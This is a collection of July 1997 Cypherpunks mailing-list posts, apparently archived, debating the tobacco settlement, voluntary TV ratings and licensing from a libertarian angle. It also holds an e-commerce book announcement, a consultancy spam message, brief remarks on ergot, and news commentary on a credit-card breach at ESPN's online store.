In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102801afeb676790ab@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



A thoughtful response from Peter Swire.

(Note to the lawyers, law professors, and other "reasonable" list readers
out there: We "extremists" might not be so consistently extremist if more
of you would write articles and/or responses. I used to write a lot of
fairly "reasonable" articles...of late I've lost much of my former patience
under the onslaught of major legislative proposals. The lack of articles
from the "reasonable" camp, for whatever reasons (*), has also helped shift
the debate to the more extreme side. (* Maybe they're tired of being
reasonable, too.))

At 3:36 PM -0700 7/10/97, Peter Swire wrote:
>At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>>I'm not a lawyer, but I am interested in the various ramifications--and the
>>constitutionality--of recent "sweeping contracts" between vendors,
>>lawmakers, consumers, etc.
>>
>>Two recent example:
>>
>>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>>$360 billion from some number of tobacco companies in exchange for dropping
>>of liability suits, immunity from future claims, voluntary restrictions (!)
>>on advertising, etc. (And the "etc." is especially complicated in this huge
>>case.)
>
>        So far as I know, the agreement has no legal effect until and unless
>a bill is enacted in Congress. Once a bill is enacted, there can obviously
>be far-reaching ramifications.  For instance, an individual's right to sue
>in tort can be cut off.  Punitive damages can be abolished for the defined
>class of suits, etc.

Interestingly, the public officials/lawyers fighting the tobacco companies
are making clear statements of what will now happen. I agree that the
Congress has to pass the enabling legislation, blah blah.

But what Mike Moore, Attorney General of Mississsippi and the lead
prosecutor/whatever in the Grand Deal, said today is, paraphrasing: "There
will be no more Joe Camel ads, no more Marlboro Man ads, no more ads to
entice smokers."

This certainly sounds to me like a major law enforcement official crowing
about the deal reached. (And he seems to be implying that even companies
not in the Grand Deal will be similarly affected.)

Does this fit with the scenario you described (later in your post) for
evidence that the agreement was not voluntary? And are non-participants in
the Grand Deal to be bound by the legislation Congress will likely pass?
(My answer is the same as yours, I think: the Grand Deal will only be used
to trigger legislation. All companies will of course be bound by this
legislation. Some of the companies or civil liberties groups will sue on
various grounds. Supreme Court outcome unclear.)

>        If such a bill is enacted, various groups would likely sue on the
>basis that it is unconstitutional.  That's what happened with CDA -- the
>indecency provisions first became law, and then were overturned in the courts.

The Deal will likely unravel in various ways, except that the worst parts
of it--tightened restrictions on tobacco--will be enacted by Congress.

(I say "worst" in the liberty/freedom of choice sense. Personally, I have
never smoked a single cigarette and think anyone who does is foolish. But
being foolish is everyone's right. Taking away choice is not a solution a
free society can live with. This applies to advertising, which is pure
speech, in my view--the aforementioned point about sponsorship of sporting
events, or print ads, has zero, zip, nada to do with any alleged FCC role
in limiting use of the "public airwaves," so it's a speech issue. There are
possible FTC (advertising claims) and FDA (safety of nicotine if it is
deemed a drug) roles that some could plausibly argue, but these are not
central in the Grand Deal discussions, and are not at all the same as
halting sports advertising, etc. Lots of issues, obviously, and our posts
are only touching on a few facets.)

>>2. The "voluntary ratings" agreement being announced today by Al Gore and
>>some of the television networks. (Earlier "voluntary agreements" were
>>implemented, but, according to supporters of censorship, "failed." Hence
>>the new push for newer voluntary restrictions.)
>
>        The big legal fight on ratings is whether any "state action" takes
>place.  The First Amendment governs efforts by a federal or state government
>to restrict speech.  If private companies "voluntarily" agree to do
>something, the First Amendment simply does not apply.  But if the coercive
>power of the state forces them to do the same thing, then the courts can get
>involved under the First Amendment.

And getting back to the tobacco case,  Mississippi Att. General Mike Moore
seems mighty convinced that this "deal" will result in Joe Camel, the
Marlboro Man, etc., being permanently off the advertising pages of
magazines, off the sporting events, and so on.

If it remains an "industry deal" I see no way it could apply to Tim's
Tobacco Company, who was not a party to any such agreement.

And if Congress passes a law saying that no tobacco company may use cartoon
characters to advertise its products, this seems like a clear case of prior
restraint and dictation of advertising copy. Ditto for sporting events, etc.

A third possibility, and one which deserves a longer essay by someone, is
the role quasi-private organizations play. To cut to the chase,
organizations like the American Bar Association, American Medical
Association, etc.

These "guilds" are an interesting case of self-policing where there is no
option for opting out. (I don't believe it is possible to practice law or
medicine without approval/licensing from these kinds of
organizations/guilds.)

If the AMA cuts a deal with the government, can doctors argue that their
constitutional rights have been infringed upon?

(I can imagine cases where this is so, such as if the AMA adopted a
requirement that doctors speak in English only as a condition for retaining
their licenses. And so on, for other examples. But it is also clear that
these kinds of guilds are usually the preferred route of implementing
policy....)

Licensing in general is something I think is getting out of hand.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 11 Jul 1997 11:10:12 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102800afead774beaf@[207.167.93.63]>
Message-ID: <199707110306.WAA02784@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> >try to haul off people who have pond scum in their bird feeders and the
> >like.  (Anything that will make them look even more absurd...)
> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

	Ergot, a mold that grows on certain types of Rye or fescue, I forget
which. This is used to make Ergotamine (imine?) which is used in treatment
of certain types of migraines. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 11 Jul 1997 13:54:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102801afeb78dc837d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Men from black helicopters forced Tim May to say:

>(I say "worst" in the liberty/freedom of choice sense. Personally, I have
>never smoked a single cigarette and think anyone who does is foolish. But
>being foolish is everyone's right. Taking away choice is not a solution a
>free society can live with. This applies to advertising, which is pure
>speech, in my view--the aforementioned point about sponsorship of sporting
>events, or print ads, has zero, zip, nada to do with any alleged FCC role
>in limiting use of the "public airwaves," so it's a speech issue. There are
>possible FTC (advertising claims) and FDA (safety of nicotine if it is
>deemed a drug) roles that some could plausibly argue, but these are not
>central in the Grand Deal discussions, and are not at all the same as
>halting sports advertising, etc. Lots of issues, obviously, and our posts
>are only touching on a few facets.)


What if private citizens decided to place Joe Camel ads in print and TV or
sponsor an event.  Would they also be constrained in their freedom of
speech?

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 11 Jul 1997 14:04:16 +0800
To: cypherpunks@toad.com
Subject: Re: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: <3.0.32.19970710224019.00a212b8@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:15 PM 7/10/97 +0200, Anonymous wrote:

>  Does anyone know what color Blanc wears?
.......................................................


     White.



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 11 Jul 1997 13:59:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Acclivity - A global web of change management
Message-ID: <3.0.32.19970710225813.0068c988@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At , Marc Fourny wrote:

>7 finally, we train the change team to innovate, install and implement new
structures and systems. In addition we develop a new project management
capability which is particularly key to success when radical change is
involved. 
>
>I would welcome the opportunity therefore of discussing with you your own
tranformation programme to see how we might be able to add value to your
own resources.
............................................................


Well, we could use some help with the Revolution.    We need a crack team
of precision go-getters who will lead the way towards the new
anarcho-capitalist utopia, overcoming all the obvious & sundry obstacles in
the way, particularly over by D.C. way.

Or, how about another way to have an alternative internet which develops
the way it originally grew and became so popular, before commercial
organizations and spamming gold-diggers noticed it and got this idea that
they could syphon advantages from it if only they could just control it,
shaping it in their image, turning it in their direction.

That would do it, for me.

<g>

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 11 Jul 1997 14:21:48 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102805afeab8b29d2f@[207.167.93.63]>
Message-ID: <v03007806afeb80d30688@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:29 AM -0700 7/10/97, Tim May wrote:
>(Caveat: My personal and libertarian view is that lawsuits against
>cigarette companies are wrong and should not be supported in a free
>society. And lawsuits by various states to "recover health care costs" are
>especially bogus. By this logic, McDonald's could be sued by California
>because California paid out more health care benefits to meat-eaters than
>it did to vegetarians. Utterly bogus.)

It is especially bogus since it is not clear that the government isn't a
net winner between reduced social security and pension payments, and the
extra income from tobacco taxes.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 11 Jul 1997 14:27:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102805afeab8b29d2f@[207.167.93.63]>
Message-ID: <v03102802afeb8158a8d9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:20 PM -0700 7/10/97, Bill Frantz wrote:
>At 9:29 AM -0700 7/10/97, Tim May wrote:
>>(Caveat: My personal and libertarian view is that lawsuits against
>>cigarette companies are wrong and should not be supported in a free
>>society. And lawsuits by various states to "recover health care costs" are
>>especially bogus. By this logic, McDonald's could be sued by California
>>because California paid out more health care benefits to meat-eaters than
>>it did to vegetarians. Utterly bogus.)
>
>It is especially bogus since it is not clear that the government isn't a
>net winner between reduced social security and pension payments, and the
>extra income from tobacco taxes.

And of course the government has been subsidizing tobacco growing for the
last half century (at least).

Even non-libertarians see the absurdity in all this.

(But these same friends and family will cheerfully admit that "there ought
to be a law" banning tobacco. Especially some of those who smoke...they
want the government to pass a law, wave a magic wand, and cure their
smoking habit.)

The only consistent, reasonable, just solution is basically the libertarian
one (note that I am not using the word Libertarian). Namely:

Individual responsibility, free choice, a drastically reduced set of laws,
and end to all subsidies of any and all products, reduced tariffs, and an
end to social engineering through tax and tariff policies and
incentives/disincentives to businesses.


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ravi Kalakota <kalakota@uhura.cc.rochester.edu>
Date: Fri, 11 Jul 1997 11:45:10 +0800
To: cypherpunks@toad.com
Subject: Electronic Commerce Book
Message-ID: <199707110332.XAA20016@uhura.cc.rochester.edu>
MIME-Version: 1.0
Content-Type: text/plain




Announcing a new book on Electronic Commerce
--------------------------------------------

Electronic Commerce: A Manager's Guide

by Ravi Kalakota and Andrew Whinston 
--------------------------------------------
ISBN: 0-201-88067-9, softcover, 440 pages, 1997
PUBLISHER: Addison-Wesley (1-800-822-6339)
--------------------------------------------

This book is a manifesto for a new set of managers who seek to reap the elusive
rewards of the online marketspace. This book offers a multitude of real-world
scenarios and lessons for building value and creating the competitive edge. The
book answers strategic questions such as:

- What business models are competitors using in the various industry segments
of e-commerce?

- What are the key management questions that need to be addressed in order to
create an effective buisness online?

- How should companies be organized using Intranets to manage the external
commerce?

If you lead a small startup or work in a Fortune 1000 firm, whether your company
has an established online presence, or is just starting out, The Manager's Guidemay be the most important book you read this year.

Table of Contents:
------------------
1. Introduction to Electronic Commerce

                    Defining Electronic Commerce 
                    Brief History of Electronic Commerce 
                    Forces Fueling Electronic Commerce 
                    Electronic Forces 
                    Marketing and Customer Interaction Forces 
                    Technology and Digital Convergence 
                    Implications of Various Forces 
                    Electronic Commerce Industry Framework 
                    The Information Superhighway 
                    Multimedia Content and Network Publishing 
                    Messaging and Information Distribution 
                    Common Business Services Infrastructure 
                    Other Key Support Layers 
                    Putting the Framework into Action: Microsoft Corporation 
                    Types of Electronic Commerce 
                    Inter-organizational Electronic Commerce 
                    Intra-organizational Electronic Commerce 
                    Consumer-to-Business Electronic Commerce 
                    Intermediaries and Electronic Commerce 
                    Key Questions for Management 
                    Competitive Pressure 
                    External Threat 
                    Incorporating Changes 
                    Designing New Organizational Structures 
                    Managerial Options and Priorities 
                    Summary 

          2. The Internet and the Access Provider Industry

                    Internet Service Providers 
                    Key Market Drivers for the Internet 
                    Who Is Making Money on the Internet 
                    Clarifying Internet Terminology 
                    Companies Providing Internet Access 
                    Internet Topology 
                    Differentiating Market Segments: Commercial versus Consumer 
                    Internet versus Online Services 
                    Open versus Closed Architecture 
                    Controlled Content versus Uncontrolled Content 
                    Metered Pricing versus Flat Pricing 
                    Innovation versus Control 
                    Predicting the Future of the IAP Market 
                    Convergence Leading to Competition 
                    Service and Capacity Management 
                    Customer Service, Loyalty, and Retention 
                    Marketing 
                    Customer Education 
                    Changing Technology behind Internet Access 
                    Changing Technology behind the Access Provider 
                    Summary 

          3. World Wide Web--Applications

                    Brief History of the Web 
                    What Exactly Is the Web? 
                    Why Is the Web Such a Hit? 
                    The Web and Ease of Use 
                    The Web and Ease of Publishing 
                    The Web as a New Distribution Channel 
                    The Web and Network-Centric Computing 
                    The Web and New Intra-Business Applications 
                    The Web and Electronic Commerce 
                    The Web and Intra-Business Commerce 
                    Other Intranet Applications 
                    Intranet Advantages and Disadvantages 
                    Management of Intranets 
                    Understanding the Intranet Architecture 
                    Summary 

          4. World Wide Web--Concepts and Technology

                    Key Concepts behind the Web 
                    Overview of the Web's Technical Architecture 
                    Interactive Web Applications 
                    Interactive Applications 
                    Interactivity and Information Integration 
                    Web Extensions for Interactive Applications 
                    Web and Database Integration 
                    Web Database Products 
                    HTML Forms and CGI Programs 
                    Web Software Developmental Tools 
                    Need for Better Programming Languages 
                    New Programming Language: Java 
                    Technically Speaking: What Exactly Is Java? 
                    Role of Java in Electronic Commerce 
                    How Does Java Work? 
                    Business Reasons for Using Java 
                    Multimedia Web Extensions 
                    Virtual Reality Modeling Language (VRML) 
                    RealAudio 
                    Internet and Web-based Telephony 
                    Directories and Search Engines 
                    Lycos 
                    Summary 

          5. Firewalls and Transaction Security

                    Firewalls and Network Security 
                    Types of Firewalls 
                    Firewall Security Policies 
                    Emerging Firewall Management Issues 
                    Transaction Security 
                    Types of Online Transactions 
                    Requirements for Transaction Security 
                    Encryption and Transaction Security 
                    Secret-Key Encryption 
                    Public-Key Encryption 
                    Implementation and Management Issues 
                    World Wide Web and Security 
                    Netscape's Secure Sockets Layer 
                    Security and Online Web-based Banking 
                    Summary 

          6. Electronic Payment Systems

                    Overview of the Electronic Payment Technology 
                    The Online Shopping Experience 
                    Limitations of Traditional Payment Instruments 
                    Electronic or Digital Cash 
                    Properties of Electronic Cash 
                    Digital Cash in Action 
                    Electronic Checks 
                    Benefits of Electronic Checks 
                    Electronic Checks in Action 
                    NetCheck: A Prototype Electronic Check System 
                    Electronic Check Project 
                    Online Credit Card-Based Systems 
                    Types of Credit Card Payments 
                    Secure Electronic Transactions (SET) 
                    Other Emerging Financial Instruments 
                    Debit Cards at the Point of Sale (POS) 
                    Debit Cards and Electronic Benefits Transfer 
                    Smart Cards 
                    Consumer, Legal, and Business Issues 
                    Summary 

          7. Electronic Commerce and Banking

                    Changing Dynamics in the Banking Industry 
                    Changing Consumer Needs 
                    Cost Reduction 
                    Demographic Trends 
                    Regulatory Reform 
                    Technology-based Financial Services Products 
                    Home Banking History 
                    Why Will It Be Different This Time? 
                    Home Banking Implementation Approaches 
                    Home Banking Using Bank's Proprietary Software 
                    Banking via the PC Using Dial-Up Software 
                    Banking via Online Services 
                    Banking via the Web: Security First Network Bank 
                    Open versus Closed Models 
                    Management Issues in Online Banking 
                    Differentiating Products and Services 
                    Managing Financial Supply Chains 
                    Pricing Issues in Online Banking 
                    Marketing Issues: Attracting Customers 
                    Marketing Issues: Keeping Customers 
                    Back-Office Support for Online Banking 
                    Integrating Telephone Call Centers with the Web 
                    Summary 

          8. Electronic Commerce and Retailing

                    Changing Retail Industry Dynamics 
                    Overbuilding and Excess Capacity 
                    Demographic Changes 
                    Consumer Behavior 
                    Technology Improvements in Electronic Retailing 
                    Online Retailing Success Stories 
                    Online Retailing: Peapod's Experience 
                    CUC International 
                    Wine on the Web: Virtual Vineyards 
                    Web-based Travel Agencies 
                    Mercantile Models from the Consumer's Perspective 
                    Distinct Phases of a Consumer Mercantile Model 
                    Prepurchase Preparation 
                    Purchase Consummation 
                    Postpurchase Interaction 
                    Management Challenges in Online Retailing 
                    Come Up with a Retailing Strategy 
                    Manage Channel Conflict 
                    Learn to Price Online Products/Services 
                    Deliver a Satisfying Shopping Experience 
                    Design the Layout of an Online Store 
                    Manage Brands 
                    Create the Right Incentives 
                    Summary 

          9. Electronic Commerce and Online Publishing

                    Why Online Publishing? 
                    Online Publishing Strategies 
                    Online Publishing Approaches 
                    Full-Text and Bibliographic Databases 
                    Personalized and Customized News 
                    Business Information and News Delivery 
                    Edutainment = Education + Entertainment 
                    Online Publishing Success Stories 
                    PointCasting 
                    Time Warner's Pathfinder 
                    Disney Online 
                    Integrating TV and Data Streams: Intercasting 
                    Advertising and Online Publishing 
                    An Online Publishing Missing Piece: Measurement 
                    Digital Copyrights and Electronic Publishing 
                    Online Copyright Protection Methods 
                    Summary 

          10. Intranets and Supply-Chain Management

                    Supply-Chain Management Fundamentals 
                    Pull versus Push Supply-Chain Models 
                    Elements of Supply-Chain Management 
                    Integrating Functions in a Supply Chain 
                    Managing Retail Supply Chains 
                    The Order Management Cycle (OMC) 
                    Supply-Chain Application Software 
                    Software for Supply-Chain Management 
                    Recent Trends in Application Software 
                    What Is the Business Market? 
                    Understanding the Application Software Architecture 
                    Future of Supply-Chain Software 
                    Intranets and Network-Centric Computing 
                    Intranets and Application Software 
                    Impact of the Web on Application Software 
                    Elaborating on the Intranet Architecture 
                    What Remains to Be Done? 
                    Summary 

          11. Intranets and Customer Asset Management

                    Why Customer Asset Management? 
                    Challenges in Implementing Customer Asset Management 
                    Customer Asset Management and Supply Chains 
                    Online Sales Force Automation 
                    What Is Sales Force Automation? 
                    Elements of Online Sales Automation 
                    Intranets and Sales Automation 
                    What Are the Management Issues? 
                    Online Customer Service and Support 
                    The Web and Customer Service 
                    The Role of Technology in Customer Service 
                    What Are the Business Requirements? 
                    The Enabling Intranet Technology 
                    Technology and Marketing Strategy 
                    Marketing Decision Support Systems 
                    Marketing Decision Support Applications 
                    Summary 

          12. Intranets and Manufacturing

                    Defining the Terminology 
                    Integrated Logistics 
                    Agile Manufacturing 
                    Emerging Business Requirements 
                    Customer-Driven Manufacturing 
                    Rapid Internal Response to Demand Changes 
                    Efficiently Managing Supply Chain Complexity 
                    Manufacturing Information Systems 
                    Discrete versus Process Manufacturing Market 
                    Types of Manufacturing Information Systems 
                    Intranet-Based Manufacturing 
                    Customer-Driven Manufacturing 
                    Real-Time Decision Support 
                    Intelligent Process Management 
                    Logistics Management 
                    Problems with Traditional Logistics Management 
                    Case Study: Microsoft Corp Integrated Logistics 
                    Objective of Modern Logistics Function 
                    Forecasting 
                    Purchasing 
                    Distribution Management 
                    Electronic Data Interchange (EDI) 
                    Benefits of EDI 
                    EDI in Action 
                    Why Has EDI Adoption Lagged? 
                    Summary 

          13. Intranets and Corporate Finance

                    Intranets and Finance 
                    What Exactly Are Financial Systems? 
                    What Do Financial Systems Do? 
                    Financial Intranets 
                    Understanding the Different Software Modules 
                    Transaction Accounting and Electronic Commerce 
                    Financial Analysis and Management Accounting 
                    Inventory Accounting 
                    Payment Management 
                    Treasury and Cash Management 
                    Human Resources Management Systems 
                    HRMS Functions 
                    Size/Structure of Financials Software Market 
                    Product Strategy 
                    Financial Data Warehouses 
                    How Are Firms Using the Web for OLAP? 
                    Desirable Software Requirements 
                    Summary 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 11 Jul 1997 12:02:33 +0800
To: cypherpunks@toad.com
Subject: Re: Hacker cracks ESPN
In-Reply-To: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>
Message-ID: <3.0.2.32.19970710234453.006b9ed8@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 08:08 PM 7/10/97 -0700, Alan Olsen wrote:
>
>          Starwave said the credit-card information was in a secure,
>          encrypted area that was accessed by an intruder who had
>          the proper password information. "This was not done by a
>          hacker," said Jennifer Yazzolino, a Starwave spokeswoman.
>          "They knew how to get in to the system and unlawfully used
>          classified information." The area that the intruder broke in to
>          was an order-processing system that sends shoppers'
>          orders from each site to 1-800-PRO-TEAM, a Florida
>          fulfillment company.

Which, in other words, is an attempt to imply that someone "knew" the
password?  Note, however, that their press release does say: "who had the
proper password *information*".


>Following the break-in, Starwave called in the FBI and the U.S.
>Secret Service to investigate.

IMO, they should hire the person.  At least, s/he showed how insecure their
"secure encrypted area" was which was more than their own employees did.


>It has also implemented a new encryption process and
>changed all system passwords.

Good luck, fellas....



*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 11 Jul 1997 15:57:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711004824.00907@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 10, 1997 at 06:36:13PM -0400, Peter Swire wrote:
> At 09:29 AM 7/10/97 -0700, Tim May wrote:
> >I'm not a lawyer, but I am interested in the various ramifications--and the
> >constitutionality--of recent "sweeping contracts" between vendors,
> >lawmakers, consumers, etc.
> >
> >Two recent example:
> >
> >1. The "tobacco agreement." Supposedly a deal involving the transfer of
> >$360 billion from some number of tobacco companies in exchange for dropping
> >of liability suits, immunity from future claims, voluntary restrictions (!)
> >on advertising, etc. (And the "etc." is especially complicated in this huge
> >case.)
> 
>         So far as I know, the agreement has no legal effect until and unless
> a bill is enacted in Congress. Once a bill is enacted, there can obviously
> be far-reaching ramifications.  For instance, an individual's right to sue
> in tort can be cut off.  Punitive damages can be abolished for the defined
> class of suits, etc.
>         If such a bill is enacted, various groups would likely sue on the
> basis that it is unconstitutional.  That's what happened with CDA -- the
> indecency provisions first became law, and then were overturned in the courts.

Hmmm.  I thought the basis was completely different.  I thought the
deal was between legal officials of various states who were mounting
suits against the tobacco companies, and the tobacco companies.  That
is, it is essentially an "out of court" settlement of a civil lawsuit. 

As such, it would indeed not be binding on Tim May's Tobacco Co.  And
there are no particular constitutional issues involved, or free speech
issues, either, come to think of it -- the settlement is just between
the parties of a civil suit.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Fri, 11 Jul 1997 15:09:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <3.0.16.19970711030249.330f1554@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:49 PM 7/10/97 -0700, Steve Schear wrote:
...

>What if private citizens decided to place Joe Camel ads in print and TV or
>sponsor an event.  Would they also be constrained in their freedom of
>speech?

That depends on what constrains people. Those with the capital resources
to place TV ads or sponsor events would likely imagine the investigation
from bureaucrats into their connections with the evil weed. Bureaucrats
tend not to assume that liking the first amendment motivates anyone when
compared to the lure of filthy lucre (ample evidence to the contrary
notwithstanding). I can imagine a conversation something like this:

"Ok, let's look into the stock portfolio of this "Steve Schear" guy who
placed the ad that pissed the FDA commissioner off. Any RJR-Nabisco? What
about his family? Hey, call the IRS and see if he's been audited lately,
and plunk his name into that big FBI database CD-ROM we got from the
Whitehouse."

Leaving aside regulations governing TV stations and possible pressures
on event promoters by government, I don't think that private citizens
with the means to do this would have the will.

As an increasingly less-partisan-and-more-anarchistic Libertarian, I
must point out a little-noted aspect of the Democrats' scam (there is
no other word).

(from http://www.washtimes.com/politics/inside.html)
                               Donor guests
        . . . . The Democratic Congressional Campaign Committee
        scheduled a small dinner last night at La Brasserie. Among
        the "donor guests" of the anti-smoking party: Philip
        Morris, R.J. Reynolds and the Tobacco Institute.

What still gets me is the shamelessness of it. This is like N.O.R.M.L.
taking money from pee-test manufacturers (they don't, AFAIK). I know,
"strange bedfellows" and all, but you'd think that they'd wait to dine
privately together until their little public tiff is settled. I guess
they figured that they can count on the media (aside from the Washtimes)
not to call them on it.
JMR

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Fourny<acclivity@interweb.be>
Date: Fri, 11 Jul 1997 03:52:08 +0800
To: <cypherpunks@toad.com>
Subject: Acclivity - A global web of change management
Message-ID: <199707101726.TAA07502@cathedral.interweb.be>
MIME-Version: 1.0
Content-Type: text/plain



acclivity
Apologies for cross-posting
Excuse me if this message does not concern you.

web site: http://www.acclivity-consultants.com
email:acclivity@interweb.be


Dear ,

I am pleased to announce the formation of Acclivity, an international network of independent management consulting practices in fourteen countries in Europe, North America and Africa, specialising in all aspects of corporate transformation.

For corporate executives managing change in the transformation of their business is an increasingly complex task.  How can they manage risk ? How are they to control change and still keep the initiative ? How much creativity should be involved in new projects ?  Will their staff fully participate and cooperate in the changes envisaged ?  Acclivity  has been set up to assist clients, many of whom are international companies and are transforming across national boundaries, to answer these and other questions: and at the same help them master all aspects of the transformation process so leading them towards a more competitive position and profitable future.

Acclivity differentiates itself from its competitors in that all the consultants in the network are senior experienced people whose role is to provide advice and guide the clientUs staff through the various stages of the transformation process. There are no junior consultants and analysts as we believe all the detailed work should be carried out by clientUs staff. All the consultants are used to working in different countries and carrying out cross border assignments.

Together, the Acclivity consultants provide the full range of methodologies used in change management and transformation. From their different backgrounds, they bring the full value of their professional and cultural skills as well as their competencies and creativity to help the client:

7 determine new value proposition for his target markets
7 reengineer his business
7 develop cross-functional organisations
7 transform his strategic and operational processes
7 open his operations to external partners - clients, suppliers and contractors
7 renew his innovation processes, awaken hidden talents, and enhance his creativity and knowhow
7 reshape the culture and values within his business
7 strengthen his human capital
7 restructure  his support  functions: human resources management, finance and accounting, and information systems and technology.

The distinctive added-value offered by our network lies not only in the mastery of these particular methodologies. An effective transformation also requires that the consultant provides assistance in all areas where the organisation has to be mobilised.

In order to secure long-lasting sustainable results each Acclivity assignment is composed of three modules:

7 we lead the executive team through the transformation journey. The use of organisational prototypes, for instance, minimises the business risks. We help management modify its modus operandi so as to provide the opportunity of involving the whole organisation in the change process
7 our own research, observation, and analysis of best practice cases are used as guidelines for the companies change efforts, from strategy definition to detailed implementation of the new organisation
7 finally, we train the change team to innovate, install and implement new structures and systems. In addition we develop a new project management capability which is particularly key to success when radical change is involved. 

I would welcome the opportunity therefore of discussing with you your own tranformation programme to see how we might be able to add value to your own resources.

Yours sincerely,

Marc Fourny
President

web site: http://www.acclivity-consultants.com
email:acclivity@interweb.be





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Fri, 11 Jul 1997 16:14:01 +0800
To: cypherpunks@toad.com
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <199707110306.WAA02784@smoke.suba.com>
Message-ID: <Pine.BSI.3.93.970711033420.25334A-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



Ergotamine relieves migraines by restricting the flow of blood to the
brain. The effects of ingesting large quantities of this substance are
left as an experiment to those for whom a mind isn't such a terrible thing
to waste.

On Thu, 10 Jul 1997, snow wrote:

> 	Ergot, a mold that grows on certain types of Rye or fescue, I forget
> which. This is used to make Ergotamine (imine?) which is used in treatment
> of certain types of migraines. 

-- 
Brian Minder; <stonedog@net-gate.com>
"I've continually said that the biggest problem with secure authentication is
that secure authentication is not possible." --Robert Costner; EFGa.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:05:27 +0800
To: cypherpunks@toad.com
Subject: Re: Hacker cracks ESPN
In-Reply-To: <3.0.2.32.19970710200813.03f1f290@mail.teleport.com>
Message-ID: <69eo0D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen <alan@ctrl-alt-del.com> writes:
>           Two separate but chilling messages were sent to people who
>           purchased items online from ESPNet or the NBA Store this
>           week. The first anonymous E-mail told shoppers they had
>           been the victims of careless security and that their
